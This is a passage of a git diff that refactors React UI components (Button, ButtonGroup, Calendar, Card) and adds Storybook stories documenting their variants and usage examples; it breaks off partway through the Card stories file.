diff --git a/frontend/src/components/v3/generic/Button/Button.stories.tsx b/frontend/src/components/v3/generic/Button/Button.stories.tsx
index 542528ede79..1d4d0a85247 100644
--- a/frontend/src/components/v3/generic/Button/Button.stories.tsx
+++ b/frontend/src/components/v3/generic/Button/Button.stories.tsx
@@ -29,8 +29,8 @@ const meta = {
     variant: {
       control: "select",
       options: [
-        "default",
         "outline",
+        "ghost",
         "neutral",
         "success",
         "info",
@@ -100,7 +100,8 @@ export const Neutral: Story = {
   parameters: {
     docs: {
       description: {
-        story: "Use this variant for general actions. [TBD]"
+        story:
+          "Use this variant for neutral / general actions that don't warrant a semantic tone — a step up from `ghost` with a subtle filled background."
       }
     }
   }
@@ -349,3 +350,25 @@ export const IsPending: Story = {
     }
   }
 };
+
+export const IsDisabled: Story = {
+  name: "Example: isDisabled",
+  args: {
+    variant: "neutral",
+    isDisabled: true,
+    children: (
+      <>
+        Login
+        <LogInIcon />
+      </>
+    )
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Use the `isDisabled` prop to block interaction and mute the button (50% opacity). Applies to every variant identically."
+      }
+    }
+  }
+};
diff --git a/frontend/src/components/v3/generic/Button/Button.tsx b/frontend/src/components/v3/generic/Button/Button.tsx
index 5420d00bd1a..075b7850e06 100644
--- a/frontend/src/components/v3/generic/Button/Button.tsx
+++ b/frontend/src/components/v3/generic/Button/Button.tsx
@@ -9,29 +9,31 @@ import { cn } from "@app/components/v3/utils";
 const buttonVariants = cva(
   cn(
     "inline-flex items-center rounded-md active:scale-[0.99] justify-center border cursor-pointer whitespace-nowrap",
-    " text-sm transition-all disabled:pointer-events-none disabled:opacity-75 shrink-0",
+    " text-sm transition-all disabled:pointer-events-none disabled:opacity-50 shrink-0",
     "[&>svg]:pointer-events-none  [&>svg]:shrink-0",
     "focus-visible:ring-ring outline-0 focus-visible:ring-2 select-none"
   ),
   {
     variants: {
       variant: {
-        outline: "text-foreground hover:bg-foreground/10 border-border hover:border-foreground/20",
-        ghost: "text-foreground hover:bg-foreground/10 border-transparent",
+        outline:
+          "text-foreground hover:bg-foreground/10 border-border hover:border-foreground/20 data-[state=open]:bg-foreground/10 data-[state=open]:border-foreground/20",
+        ghost:
+          "text-foreground hover:bg-foreground/10 border-transparent data-[state=open]:bg-foreground/10",
         neutral:
-          "border-neutral/25 bg-neutral/10 text-foreground hover:bg-neutral/15 hover:border-neutral/30",
+          "border-neutral/25 bg-neutral/10 text-foreground hover:bg-neutral/15 hover:border-neutral/30 data-[state=open]:bg-neutral/15 data-[state=open]:border-neutral/30",
         project:
-          "border-project/25 bg-project/10 text-foreground hover:bg-project/15 hover:border-project/30",
-        org: "border-org/25 bg-org/10 text-foreground hover:bg-org/15 hover:border-org/30",
+          "border-project/25 bg-project/10 text-foreground hover:bg-project/15 hover:border-project/30 data-[state=open]:bg-project/15 data-[state=open]:border-project/30",
+        org: "border-org/25 bg-org/10 text-foreground hover:bg-org/15 hover:border-org/30 data-[state=open]:bg-org/15 data-[state=open]:border-org/30",
         "sub-org":
-          "border-sub-org/25 bg-sub-org/10 text-foreground hover:bg-sub-org/15 hover:border-sub-org/30",
+          "border-sub-org/25 bg-sub-org/10 text-foreground hover:bg-sub-org/15 hover:border-sub-org/30 data-[state=open]:bg-sub-org/15 data-[state=open]:border-sub-org/30",
         success:
-          "border-success/25 bg-success/10 text-foreground hover:bg-success/15 hover:border-success/30",
-        info: "border-info/25 bg-info/10 text-foreground hover:bg-info/15 hover:border-info/30",
+          "border-success/25 bg-success/10 text-foreground hover:bg-success/15 hover:border-success/30 data-[state=open]:bg-success/15 data-[state=open]:border-success/30",
+        info: "border-info/25 bg-info/10 text-foreground hover:bg-info/15 hover:border-info/30 data-[state=open]:bg-info/15 data-[state=open]:border-info/30",
         warning:
-          "border-warning/25 bg-warning/10 text-foreground hover:bg-warning/15 hover:border-warning/30",
+          "border-warning/25 bg-warning/10 text-foreground hover:bg-warning/15 hover:border-warning/30 data-[state=open]:bg-warning/15 data-[state=open]:border-warning/30",
         danger:
-          "border-danger/25 bg-danger/10 text-foreground hover:bg-danger/15 hover:border-danger/30"
+          "border-danger/25 bg-danger/10 text-foreground hover:bg-danger/15 hover:border-danger/30 data-[state=open]:bg-danger/15 data-[state=open]:border-danger/30"
       },
       size: {
         xs: "h-7 px-2 text-xs rounded-sm [&>svg]:size-3 gap-1.5",
diff --git a/frontend/src/components/v3/generic/ButtonGroup/ButtonGroup.stories.tsx b/frontend/src/components/v3/generic/ButtonGroup/ButtonGroup.stories.tsx
new file mode 100644
index 00000000000..43bd33cb703
--- /dev/null
+++ b/frontend/src/components/v3/generic/ButtonGroup/ButtonGroup.stories.tsx
@@ -0,0 +1,215 @@
+import type { Meta, StoryObj } from "@storybook/react-vite";
+import {
+  AlignCenterIcon,
+  AlignLeftIcon,
+  AlignRightIcon,
+  ChevronDownIcon,
+  CopyIcon,
+  EditIcon,
+  GitBranchIcon,
+  TrashIcon
+} from "lucide-react";
+
+import { Badge } from "../Badge";
+import { Button } from "../Button";
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger
+} from "../Dropdown";
+import { IconButton } from "../IconButton";
+import { ButtonGroup, ButtonGroupSeparator, ButtonGroupText } from "./ButtonGroup";
+
+/**
+ * ButtonGroups visually join related controls into a single connected element —
+ * borders are shared between adjacent children and the outer corners are rounded.
+ * Use a ButtonGroup for toolbars, segmented controls, key-value badge pairs, or
+ * any cluster of controls that operate on the same context.
+ */
+const meta = {
+  title: "Generic/ButtonGroup",
+  component: ButtonGroup,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  argTypes: {
+    orientation: {
+      control: "select",
+      options: ["horizontal", "vertical"]
+    },
+    children: {
+      table: {
+        disable: true
+      }
+    },
+    className: {
+      table: {
+        disable: true
+      }
+    }
+  }
+} satisfies Meta<typeof ButtonGroup>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Horizontal: Story = {
+  name: "Variant: Horizontal",
+  args: {
+    orientation: "horizontal"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "The default orientation — children join left-to-right with shared vertical borders. Use for toolbars and segmented controls."
+      }
+    }
+  },
+  render: (args) => (
+    <ButtonGroup {...args}>
+      <IconButton variant="outline" aria-label="Align left">
+        <AlignLeftIcon />
+      </IconButton>
+      <IconButton variant="outline" aria-label="Align center">
+        <AlignCenterIcon />
+      </IconButton>
+      <IconButton variant="outline" aria-label="Align right">
+        <AlignRightIcon />
+      </IconButton>
+    </ButtonGroup>
+  )
+};
+
+export const Vertical: Story = {
+  name: "Variant: Vertical",
+  args: {
+    orientation: "vertical"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Stack children top-to-bottom with shared horizontal borders. Use in narrow sidebars or mobile layouts where a horizontal group would overflow."
+      }
+    }
+  },
+  render: (args) => (
+    <ButtonGroup {...args}>
+      <IconButton variant="outline" aria-label="Edit">
+        <EditIcon />
+      </IconButton>
+      <IconButton variant="outline" aria-label="Duplicate">
+        <CopyIcon />
+      </IconButton>
+      <IconButton variant="outline" aria-label="Delete">
+        <TrashIcon />
+      </IconButton>
+    </ButtonGroup>
+  )
+};
+
+export const KeyValuePair: Story = {
+  name: "Example: Key-Value Pair",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Pair a default `Badge` (key) with an outline `Badge` (value) to render a joined key-value chip. Used for identity and user metadata throughout the app."
+      }
+    }
+  },
+  render: () => (
+    <ButtonGroup>
+      <Badge>environment</Badge>
+      <Badge variant="outline">production</Badge>
+    </ButtonGroup>
+  )
+};
+
+export const WithText: Story = {
+  name: "Example: With Text",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Use `ButtonGroupText` to embed a static label between interactive children — useful for labelled actions like 'Branch: main' with a trigger to switch."
+      }
+    }
+  },
+  render: () => (
+    <ButtonGroup>
+      <ButtonGroupText>
+        <GitBranchIcon />
+        main
+      </ButtonGroupText>
+      <Button variant="outline">
+        Switch
+        <ChevronDownIcon />
+      </Button>
+    </ButtonGroup>
+  )
+};
+
+export const WithSeparator: Story = {
+  name: "Example: With Separator",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Insert a `ButtonGroupSeparator` to visually group related actions within the same bar — the separator sits flush with the shared border and inherits the group's orientation."
+      }
+    }
+  },
+  render: () => (
+    <ButtonGroup>
+      <IconButton variant="outline" size="sm" aria-label="Align left">
+        <AlignLeftIcon />
+      </IconButton>
+      <IconButton variant="outline" size="sm" aria-label="Align center">
+        <AlignCenterIcon />
+      </IconButton>
+      <IconButton variant="outline" size="sm" aria-label="Align right">
+        <AlignRightIcon />
+      </IconButton>
+      <ButtonGroupSeparator />
+      <IconButton variant="outline" size="sm" aria-label="Duplicate">
+        <CopyIcon />
+      </IconButton>
+      <IconButton variant="outline" size="sm" aria-label="Delete">
+        <TrashIcon />
+      </IconButton>
+    </ButtonGroup>
+  )
+};
+
+export const SplitButton: Story = {
+  name: "Example: Split Button",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Pair a primary action `Button` with a chevron `IconButton` that opens a `DropdownMenu` of related variants. Clicking the main button fires the default action; clicking the chevron reveals alternates."
+      }
+    }
+  },
+  render: () => (
+    <ButtonGroup>
+      <Button variant="outline">Save</Button>
+      <DropdownMenu>
+        <DropdownMenuTrigger asChild>
+          <IconButton variant="outline" aria-label="More save options">
+            <ChevronDownIcon />
+          </IconButton>
+        </DropdownMenuTrigger>
+        <DropdownMenuContent align="end">
+          <DropdownMenuItem>Save and close</DropdownMenuItem>
+          <DropdownMenuItem>Save as draft</DropdownMenuItem>
+          <DropdownMenuItem>Save as template</DropdownMenuItem>
+        </DropdownMenuContent>
+      </DropdownMenu>
+    </ButtonGroup>
+  )
+};
diff --git a/frontend/src/components/v3/generic/ButtonGroup/ButtonGroup.tsx b/frontend/src/components/v3/generic/ButtonGroup/ButtonGroup.tsx
index 8cc025a30c3..0d78355cfe9 100644
--- a/frontend/src/components/v3/generic/ButtonGroup/ButtonGroup.tsx
+++ b/frontend/src/components/v3/generic/ButtonGroup/ButtonGroup.tsx
@@ -2,17 +2,17 @@ import { Slot } from "@radix-ui/react-slot";
 import { cva, type VariantProps } from "cva";
 
 import { cn } from "../../utils";
-import { UnstableSeparator } from "../Separator";
+import { Separator } from "../Separator";
 
 const buttonGroupVariants = cva(
-  "flex w-fit items-stretch [&>*]:focus-visible:z-10 [&>*]:focus-visible:relative [&>[data-slot=select-trigger]:not([class*='w-'])]:w-fit [&>input]:flex-1 has-[select[aria-hidden=true]:last-child]:[&>[data-slot=select-trigger]:last-of-type]:rounded-r-md has-[>[data-slot=button-group]]:gap-2",
+  "flex w-fit items-stretch [&>*]:relative [&>*:hover]:z-10 [&>*:focus-visible]:z-10 [&>*[data-state=open]]:z-10 [&>*[aria-pressed=true]]:z-10 [&>*[aria-selected=true]]:z-10 [&>[data-slot=select-trigger]:not([class*='w-'])]:w-fit [&>input]:flex-1 has-[select[aria-hidden=true]:last-child]:[&>[data-slot=select-trigger]:last-of-type]:rounded-r-md has-[>[data-slot=button-group]]:gap-2",
   {
     variants: {
       orientation: {
         horizontal:
-          "[&>*:not(:first-child)]:rounded-l-none [&>*:not(:first-child)]:border-l-0 [&>*:not(:last-child)]:rounded-r-none",
+          "[&>*:not(:first-child)]:rounded-l-none [&>*:not(:first-child)]:-ml-px [&>*:not(:last-child)]:rounded-r-none",
         vertical:
-          "flex-col [&>*:not(:first-child)]:rounded-t-none [&>*:not(:first-child)]:border-t-0 [&>*:not(:last-child)]:rounded-b-none"
+          "flex-col [&>*:not(:first-child)]:rounded-t-none [&>*:not(:first-child)]:-mt-px [&>*:not(:last-child)]:rounded-b-none"
       }
     },
     defaultVariants: {
@@ -21,7 +21,7 @@ const buttonGroupVariants = cva(
   }
 );
 
-function UnstableButtonGroup({
+function ButtonGroup({
   className,
   orientation,
   ...props
@@ -37,7 +37,7 @@ function UnstableButtonGroup({
   );
 }
 
-function UnstableButtonGroupText({
+function ButtonGroupText({
   className,
   asChild = false,
   ...props
@@ -49,7 +49,7 @@ function UnstableButtonGroupText({
   return (
     <Comp
       className={cn(
-        "flex items-center gap-2 rounded-md border border-border px-4 text-sm font-medium shadow-xs [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4",
+        "flex items-center gap-2 rounded-md border border-border px-4 text-sm font-medium text-foreground shadow-xs [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4",
         className
       )}
       {...props}
@@ -57,27 +57,19 @@ function UnstableButtonGroupText({
   );
 }
 
-function UnstableButtonGroupSeparator({
+function ButtonGroupSeparator({
   className,
   orientation = "vertical",
   ...props
-}: React.ComponentProps<typeof UnstableSeparator>) {
+}: React.ComponentProps<typeof Separator>) {
   return (
-    <UnstableSeparator
+    <Separator
       data-slot="button-group-separator"
       orientation={orientation}
-      className={cn(
-        "bg-input relative !m-0 self-stretch data-[orientation=vertical]:h-auto",
-        className
-      )}
+      className={cn("relative !m-0 self-stretch data-[orientation=vertical]:h-auto", className)}
       {...props}
     />
   );
 }
 
-export {
-  buttonGroupVariants,
-  UnstableButtonGroup,
-  UnstableButtonGroupSeparator,
-  UnstableButtonGroupText
-};
+export { ButtonGroup, ButtonGroupSeparator, ButtonGroupText, buttonGroupVariants };
diff --git a/frontend/src/components/v3/generic/Calendar/Calendar.stories.tsx b/frontend/src/components/v3/generic/Calendar/Calendar.stories.tsx
new file mode 100644
index 00000000000..dd7687440c9
--- /dev/null
+++ b/frontend/src/components/v3/generic/Calendar/Calendar.stories.tsx
@@ -0,0 +1,174 @@
+import { useState } from "react";
+import type { DateRange } from "react-day-picker";
+import type { Meta, StoryObj } from "@storybook/react-vite";
+
+import { Calendar } from "./Calendar";
+
+/**
+ * Calendars let the user pick a date, a set of dates, or a date range.
+ * This component is a thin wrapper around `react-day-picker` — the `mode` prop
+ * switches between `single`, `multiple`, and `range` selection, and `captionLayout`
+ * swaps the month header between a static label and dropdowns for month / year
+ * navigation.
+ */
+const meta = {
+  title: "Generic/Calendar",
+  component: Calendar,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  argTypes: {
+    mode: {
+      control: "select",
+      options: ["single", "multiple", "range"]
+    },
+    captionLayout: {
+      control: "select",
+      options: ["label", "dropdown", "dropdown-months", "dropdown-years"]
+    },
+    numberOfMonths: {
+      control: { type: "number", min: 1, max: 3 }
+    },
+    showOutsideDays: {
+      control: "boolean"
+    },
+    buttonVariant: {
+      control: "select",
+      options: ["ghost", "outline", "ghost-muted"]
+    }
+  }
+} satisfies Meta<typeof Calendar>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+const SingleStory = () => {
+  const [selected, setSelected] = useState<Date | undefined>(new Date());
+  return <Calendar mode="single" selected={selected} onSelect={setSelected} />;
+};
+
+export const Single: Story = {
+  name: "Variant: Single",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Use `mode="single"` for a single-date picker. The selected day is highlighted with a filled foreground chip; today\'s date is outlined separately.'
+      }
+    }
+  },
+  render: () => <SingleStory />
+};
+
+const MultipleStory = () => {
+  const today = new Date();
+  const [selected, setSelected] = useState<Date[] | undefined>([
+    today,
+    new Date(today.getFullYear(), today.getMonth(), today.getDate() + 2),
+    new Date(today.getFullYear(), today.getMonth(), today.getDate() + 5)
+  ]);
+  return <Calendar mode="multiple" selected={selected} onSelect={setSelected} />;
+};
+
+export const Multiple: Story = {
+  name: "Variant: Multiple",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Use `mode="multiple"` when the user should pick an arbitrary set of discrete dates. Each selection toggles independently.'
+      }
+    }
+  },
+  render: () => <MultipleStory />
+};
+
+const RangeStory = () => {
+  const today = new Date();
+  const [selected, setSelected] = useState<DateRange | undefined>({
+    from: today,
+    to: new Date(today.getFullYear(), today.getMonth(), today.getDate() + 6)
+  });
+  return <Calendar mode="range" selected={selected} onSelect={setSelected} />;
+};
+
+export const Range: Story = {
+  name: "Variant: Range",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Use `mode="range"` to pick a start / end pair. The first click sets the start; the second sets the end. Days between the bounds render with a muted background — the pattern used by `DateRangeFilter`.'
+      }
+    }
+  },
+  render: () => <RangeStory />
+};
+
+const DropdownCaptionStory = () => {
+  const [selected, setSelected] = useState<Date | undefined>(new Date());
+  return (
+    <Calendar mode="single" captionLayout="dropdown" selected={selected} onSelect={setSelected} />
+  );
+};
+
+export const DropdownCaption: Story = {
+  name: "Example: Dropdown Caption",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Pass `captionLayout="dropdown"` to replace the month label with month + year dropdowns. Use when the user may need to jump across many years (e.g. birthdays, historic audit ranges).'
+      }
+    }
+  },
+  render: () => <DropdownCaptionStory />
+};
+
+const TwoMonthsStory = () => {
+  const today = new Date();
+  const [selected, setSelected] = useState<DateRange | undefined>({
+    from: new Date(today.getFullYear(), today.getMonth(), today.getDate() - 2),
+    to: new Date(today.getFullYear(), today.getMonth() + 1, today.getDate() + 3)
+  });
+  return <Calendar mode="range" numberOfMonths={2} selected={selected} onSelect={setSelected} />;
+};
+
+export const TwoMonths: Story = {
+  name: "Example: Two Months",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Set `numberOfMonths={2}` (or more) to show adjacent months side-by-side. Most useful with `mode="range"` so the user can drag a span across month boundaries without paging.'
+      }
+    }
+  },
+  render: () => <TwoMonthsStory />
+};
+
+const DisabledDatesStory = () => {
+  const [selected, setSelected] = useState<Date | undefined>();
+  return (
+    <Calendar
+      mode="single"
+      selected={selected}
+      onSelect={setSelected}
+      disabled={{ before: new Date() }}
+    />
+  );
+};
+
+export const DisabledDates: Story = {
+  name: "Example: Disabled Dates",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Pass a matcher to `disabled` to grey out and block interaction for specific days. The `{ before: new Date() }` matcher here disables every past day — use for forward-only pickers like scheduled rotations or expirations."
+      }
+    }
+  },
+  render: () => <DisabledDatesStory />
+};
diff --git a/frontend/src/components/v3/generic/Calendar/Calendar.tsx b/frontend/src/components/v3/generic/Calendar/Calendar.tsx
index 0cc90ff5f7f..1c97b5feb5f 100644
--- a/frontend/src/components/v3/generic/Calendar/Calendar.tsx
+++ b/frontend/src/components/v3/generic/Calendar/Calendar.tsx
@@ -7,7 +7,7 @@ import { type DayButton, DayPicker, getDefaultClassNames, type Locale } from "re
 import { ChevronDownIcon, ChevronLeftIcon, ChevronRightIcon } from "lucide-react";
 
 import { cn } from "../../utils";
-import { iconButtonVariants, UnstableIconButton } from "../IconButton";
+import { IconButton, iconButtonVariants } from "../IconButton";
 
 function CalendarDayButton({
   className,
@@ -24,7 +24,7 @@ function CalendarDayButton({
   }, [modifiers.focused]);
 
   return (
-    <UnstableIconButton
+    <IconButton
       ref={ref}
       variant="ghost"
       size="xs"
@@ -39,7 +39,7 @@ function CalendarDayButton({
       data-range-end={modifiers.range_end}
       data-range-middle={modifiers.range_middle}
       className={cn(
-        "relative isolate z-10 flex aspect-square size-auto w-full min-w-(--cell-size) flex-col gap-1 border-0 leading-none font-normal group-data-[focused=true]/day:relative group-data-[focused=true]/day:z-10 group-data-[focused=true]/day:border-ring group-data-[focused=true]/day:ring-[3px] group-data-[focused=true]/day:ring-ring/50 hover:text-foreground data-[range-end=true]:rounded-(--cell-radius) data-[range-end=true]:rounded-r-(--cell-radius) data-[range-end=true]:bg-foreground data-[range-end=true]:text-background data-[range-end=true]:hover:text-background data-[range-middle=true]:rounded-none data-[range-middle=true]:bg-muted data-[range-middle=true]:text-foreground data-[range-start=true]:rounded-(--cell-radius) data-[range-start=true]:rounded-l-(--cell-radius) data-[range-start=true]:bg-foreground data-[range-start=true]:text-background data-[range-start=true]:hover:text-background data-[selected-single=true]:bg-foreground data-[selected-single=true]:text-background data-[selected-single=true]:hover:text-background [&>span]:text-xs [&>span]:opacity-70",
+        "relative isolate z-10 flex aspect-square size-auto w-full min-w-(--cell-size) flex-col gap-1 border-0 leading-none font-normal group-data-[focused=true]/day:relative group-data-[focused=true]/day:z-10 group-data-[focused=true]/day:border-ring group-data-[focused=true]/day:ring-[3px] group-data-[focused=true]/day:ring-ring/50 hover:text-foreground data-[range-end=true]:rounded-(--cell-radius) data-[range-end=true]:rounded-r-(--cell-radius) data-[range-end=true]:bg-foreground data-[range-end=true]:text-background data-[range-end=true]:hover:text-background data-[range-middle=true]:rounded-none data-[range-middle=true]:bg-muted/[12%] data-[range-middle=true]:text-foreground data-[range-start=true]:rounded-(--cell-radius) data-[range-start=true]:rounded-l-(--cell-radius) data-[range-start=true]:bg-foreground data-[range-start=true]:text-background data-[range-start=true]:hover:text-background data-[selected-single=true]:bg-foreground data-[selected-single=true]:text-background data-[selected-single=true]:hover:text-background [&>span]:text-xs [&>span]:opacity-70",
         defaultClassNames.day,
         className
       )}
@@ -59,7 +59,7 @@ function Calendar({
   components,
   ...props
 }: React.ComponentProps<typeof DayPicker> & {
-  buttonVariant?: React.ComponentProps<typeof UnstableIconButton>["variant"];
+  buttonVariant?: React.ComponentProps<typeof IconButton>["variant"];
 }) {
   const defaultClassNames = getDefaultClassNames();
 
@@ -67,7 +67,7 @@ function Calendar({
     <DayPicker
       showOutsideDays={showOutsideDays}
       className={cn(
-        "group/calendar bg-background p-2 [--cell-radius:var(--radius-md)] [--cell-size:--spacing(8)] in-data-[slot=card-content]:bg-transparent in-data-[slot=popover-content]:bg-transparent",
+        "group/calendar bg-background p-2 text-foreground [--cell-radius:var(--radius-md)] [--cell-size:--spacing(8)] in-data-[slot=card-content]:bg-transparent in-data-[slot=popover-content]:bg-transparent",
         String.raw`rtl:**:[.rdp-button\_next>svg]:rotate-180`,
         String.raw`rtl:**:[.rdp-button\_previous>svg]:rotate-180`,
         className
@@ -136,12 +136,12 @@ function Calendar({
           defaultClassNames.day
         ),
         range_start: cn(
-          "rounded-l-(--cell-radius) bg-muted relative after:bg-muted after:absolute after:inset-y-0 after:w-4 after:right-0 z-0 isolate",
+          "rounded-l-(--cell-radius) bg-muted/[12%] relative after:bg-muted/[12%] after:absolute after:inset-y-0 after:w-4 after:right-0 z-0 isolate",
           defaultClassNames.range_start
         ),
         range_middle: cn("rounded-none", defaultClassNames.range_middle),
         range_end: cn(
-          "rounded-r-(--cell-radius) bg-muted relative after:bg-muted after:absolute after:inset-y-0 after:w-4 after:left-0 z-0 isolate",
+          "rounded-r-(--cell-radius) bg-muted/[12%] relative after:bg-muted/[12%] after:absolute after:inset-y-0 after:w-4 after:left-0 z-0 isolate",
           defaultClassNames.range_end
         ),
         today: cn(
@@ -152,7 +152,7 @@ function Calendar({
           "[&_button]:text-accent [&_button]:aria-selected:text-accent",
           defaultClassNames.outside
         ),
-        disabled: cn("[&_button]:text-accent opacity-50", defaultClassNames.disabled),
+        disabled: cn("[&_button]:text-accent", defaultClassNames.disabled),
         hidden: cn("invisible", defaultClassNames.hidden),
         ...classNames
       }}
diff --git a/frontend/src/components/v3/generic/Card/Card.stories.tsx b/frontend/src/components/v3/generic/Card/Card.stories.tsx
new file mode 100644
index 00000000000..7162d6bb952
--- /dev/null
+++ b/frontend/src/components/v3/generic/Card/Card.stories.tsx
@@ -0,0 +1,628 @@
+import type { Meta, StoryObj } from "@storybook/react-vite";
+import {
+  EditIcon,
+  EllipsisIcon,
+  LockIcon,
+  MoreHorizontalIcon,
+  SettingsIcon,
+  TrashIcon
+} from "lucide-react";
+
+import { Accordion, AccordionContent, AccordionItem, AccordionTrigger } from "../Accordion";
+import { Badge } from "../Badge";
+import { Button } from "../Button";
+import { Detail, DetailGroup, DetailGroupHeader, DetailLabel, DetailValue } from "../Detail";
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger
+} from "../Dropdown";
+import { IconButton } from "../IconButton";
+import { Separator } from "../Separator";
+import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from "../Table";
+import {
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardFooter,
+  CardHeader,
+  CardTitle
+} from "./Card";
+
+/**
+ * Cards group related content and actions within a bordered, rounded container.
+ * Compose a card from `CardHeader`, `CardTitle`, `CardDescription`, `CardAction`,
+ * `CardContent`, and `CardFooter` subcomponents — the layout is driven entirely
+ * by composition and className modifiers (e.g. `border-b` on a header or
+ * `border-t` on a footer to render a divider).
+ */
+const meta = {
+  title: "Generic/Card",
+  component: Card,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  args: {
+    className: "w-[500px]"
+  },
+  argTypes: {
+    children: {
+      table: {
+        disable: true
+      }
+    },
+    className: {
+      table: {
+        disable: true
+      }
+    }
+  }
+} satisfies Meta<typeof Card>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Default: Story = {
+  name: "Example: Default",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "The minimal card — a `<Card>` wrapping a single `<CardContent>`. Use this as a baseline container for grouped content."
+      }
+    }
+  },
+  render: (args) => (
+    <Card {...args}>
+      <CardContent>
+        A card provides a bordered, rounded surface for grouping related content.
+      </CardContent>
+    </Card>
+  )
+};
+
+export const WithHeader: Story = {
+  name: "Example: With Header",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Add a `CardHeader` with a `CardTitle` and optional `CardDescription` to label the card's content."
+      }
+    }
+  },
+  render: (args) => (
+    <Card {...args}>
+      <CardHeader>
+        <CardTitle>Account Settings</CardTitle>
+        <CardDescription>Manage your account preferences and security options.</CardDescription>
+      </CardHeader>
+      <CardContent>
+        Update your profile information, change your password, or configure multi-factor
+        authentication.
+      </CardContent>
+    </Card>
+  )
+};
+
+export const DividedHeader: Story = {
+  name: "Example: Divided Header",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Add `className="border-b"` to `CardHeader` to render a divider between the header and content. The header\'s internal styling automatically adds bottom padding when the `border-b` class is present.'
+      }
+    }
+  },
+  render: (args) => (
+    <Card {...args}>
+      <CardHeader className="border-b">
+        <CardTitle>Account Settings</CardTitle>
+        <CardDescription>Manage your account preferences and security options.</CardDescription>
+      </CardHeader>
+      <CardContent>
+        Update your profile information, change your password, or configure multi-factor
+        authentication.
+      </CardContent>
+    </Card>
+  )
+};
+
+export const WithAction: Story = {
+  name: "Example: With Action",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Place a `CardAction` inside `CardHeader` to render a top-right action. The header automatically switches to a two-column grid when an action is present."
+      }
+    }
+  },
+  render: (args) => (
+    <Card {...args}>
+      <CardHeader>
+        <CardTitle>Notifications</CardTitle>
+        <CardDescription>Configure which events send you an alert.</CardDescription>
+        <CardAction>
+          <IconButton size="xs" variant="ghost-muted" aria-label="More options">
+            <MoreHorizontalIcon />
+          </IconButton>
+        </CardAction>
+      </CardHeader>
+      <CardContent>You currently have 3 notification channels enabled.</CardContent>
+    </Card>
+  )
+};
+
+export const WithFooter: Story = {
+  name: "Example: With Footer",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Add a `CardFooter` with `className="border-t"` to place actions below the content with a divider. The footer\'s internal styling automatically adds top padding when the `border-t` class is present.'
+      }
+    }
+  },
+  render: (args) => (
+    <Card {...args}>
+      <CardHeader>
+        <CardTitle>Delete workspace</CardTitle>
+        <CardDescription>
+          Permanently remove this workspace and all of its contents. This action cannot be undone.
+        </CardDescription>
+      </CardHeader>
+      <CardFooter className="justify-end border-t">
+        <Button variant="danger" size="sm">
+          Delete workspace
+        </Button>
+      </CardFooter>
+    </Card>
+  )
+};
+
+export const FullComposition: Story = {
+  name: "Example: Full Composition",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "A realistic panel combining every subcomponent — divided header with title, description and action; body rendering a `DetailGroup`; divided footer with a primary action."
+      }
+    }
+  },
+  render: (args) => (
+    <Card {...args} className="w-[300px]">
+      <CardHeader className="border-b">
+        <CardTitle>Integration</CardTitle>
+        <CardDescription>GitHub · connected 2 days ago</CardDescription>
+        <CardAction>
+          <IconButton size="xs" variant="ghost-muted" aria-label="Settings">
+            <SettingsIcon />
+          </IconButton>
+        </CardAction>
+      </CardHeader>
+      <CardContent>
+        <DetailGroup>
+          <Detail>
+            <DetailLabel>Repository</DetailLabel>
+            <DetailValue>infisical/infisical</DetailValue>
+          </Detail>
+          <Detail>
+            <DetailLabel>Status</DetailLabel>
+            <DetailValue>
+              <Badge variant="success">Active</Badge>
+            </DetailValue>
+          </Detail>
+          <Detail>
+            <DetailLabel>Synced</DetailLabel>
+            <DetailValue>04/24/2026, 09:12 AM</DetailValue>
+          </Detail>
+        </DetailGroup>
+      </CardContent>
+      <CardFooter className="justify-end border-t">
+        <Button variant="outline" size="sm">
+          Sync now
+        </Button>
+      </CardFooter>
+    </Card>
+  )
+};
+
+export const WithAccordion: Story = {
+  name: "Example: With Accordion",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Embed a default `Accordion` in `CardContent` to list grouped sections, each with its own trigger-level actions and a two-column `Detail` grid in the body — the layout used by the Identity Auth Methods panel."
+      }
+    }
+  },
+  render: (args) => (
+    <Card {...args} className="w-[800px]">
+      <CardHeader>
+        <CardTitle>Auth Methods</CardTitle>
+        <CardDescription>
+          Authentication methods configured on this identity. Each method can be edited or revoked
+          independently.
+        </CardDescription>
+      </CardHeader>
+      <CardContent>
+        <Accordion type="multiple">
+          <AccordionItem value="universal-auth">
+            <AccordionTrigger>
+              <span className="mr-auto">Universal Auth</span>
+              <DropdownMenu>
+                <DropdownMenuTrigger
+                  asChild
+                  onClick={(e) => e.stopPropagation()}
+                  aria-label="Universal Auth options"
+                >
+                  <IconButton variant="ghost" size="xs">
+                    <EllipsisIcon />
+                  </IconButton>
+                </DropdownMenuTrigger>
